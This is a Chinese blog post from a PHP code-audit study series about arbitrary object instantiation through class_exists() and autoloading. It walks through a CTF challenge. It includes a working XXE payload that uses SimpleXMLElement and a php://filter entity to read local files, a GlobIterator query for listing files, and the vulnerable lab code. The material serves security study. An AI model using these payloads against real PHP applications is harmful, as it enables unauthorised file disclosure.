PHP代码审计_函数篇-Day3

PHP代码审计_函数篇-Day3

一月 28, 2022

Day3

PHP实例化任意对象漏洞

关于函数
  1. class_exists() 函数:检查给定的类是否被定义
1
2
3
4
5
6
7
参数的含义:

**class_exists**(string $class, bool $autoload = **true**): bool

$class:给定的类名;

$autoload:如果该参数为true,(默认情况下为true),则自动调用程序中的 __autoload 函数,当该参数为false时,则不会调用__autoload函数。

PHP类的自动加载:

为解决面向对象开发中需要用include包含大量文件的问题,引入可以注册任意数量函数的自动加载器,可以通过注册自动加载器加载所需的类和接口。

相关函数:

spl_autoload_register函数:注册给定的函数作为 __autoload 的实现

__autoload函数:加载未定义的类

img

  1. 使用PHP的内置类 SimpleXMLElement 来进行 XXE 攻击:

SimpleXMLElement类:用来表示XML文档中的 元素。

使用file协议读取(但是我这里没有办法直接读取到内容)

img

采用PHP伪协议读取:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

$xml = <<<XML
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=D:/phpstudy_pro/WWW/shell.txt">
]>
<x>&xxe;</x>

XML;
$xml_class= new SimpleXMLElement($xml,LIBXML_NOENT);
var_dump($xml_class);
?>

img

利用SimpleXMLElement类进行xxe的攻击得到文件的内容。

SimpleXMLElement::__construct:

创建一个新的SimpleXMLElement对象。

img

eg

结合函数和SimpleXMLElement内置类的用法来看这个代码:

第八行代码使用class_exists()检查类是否存在,并且参数可控,之后会实例化一个$controllerName对象,实例化对象中的参数也可控。程序中存在__autoload函数,该函数中存在文件包含的漏洞点。

img

当我们尝试传入?c=D:/phpstudy_pro/WWW/1.php时,

img

class_exists()函数检查传入的类是否存在,并且默认调用__autoload()函数,导致文件包含的产生。

第九行实例化类的类名和传入类的参数都是可控的,如果我们传入的自定义类为SimpleXMLElement时,会导致xxe攻击,用下面的ctf题目进行利用。

CTF题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class NotFound{
function __construct()
{
die('404');
}
}
spl_autoload_register(
function ($class){
new NotFound();
}
);
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
$newclass = new $classname($param,$param2);
var_dump($newclass);
foreach ($newclass as $key=>$value)
echo $key.'=>'.$value.'<br>';
}
?>

// f1agi3hEre.php
<?php
$flag = "HRCTF{X33_W1tH_S1mpl3Xml3l3m3nt}";
?>

1
在代码中我们发现实例化的类名是可控的,类名中的参数也是可控的,先是利用class_exists函数判断类名是否被定义,该函数会自动调用__autoload()函数,这里存在spl_autoload_register()函数,功能跟__autoload()是一样的。因此会调用到这个函数,实例化MotFound函数,执行__cinstruct,输出404。

这里先用GlobIterator类来寻找flag文件的名字:

img

类似glob,能列出文件的目录。第一个参数为利用的GlobIterator方法,第二个参数为要查找的文件名,可以使用*管道符。

1
?name=GlobIterator&param=*php

img

找到一个可能存在flag的文件:f1agi3hEre.php

1
2
3
我们传入类为SimpleXMLElement来读取内容,参数param为XML的内容,使用PHP伪协议读取:
<?xml version="1.0" encoding="utf-8" ?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=D:/phpstudy_pro/WWW/b.com/f1agi3hEre.php">]><x>%26xxe;</x>
参数param2就是SimpleXMLElement::construct的第二个参数,2对应的模式是 LIBXML_NOENT。

img

base64解码,就能读取到文件的内容:

img

参考文章:

https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part1/Day3/files/README.md

https://www.cnblogs.com/lxfweb/p/13822440.html

  • 以上代码均来自红日安全团队github项目。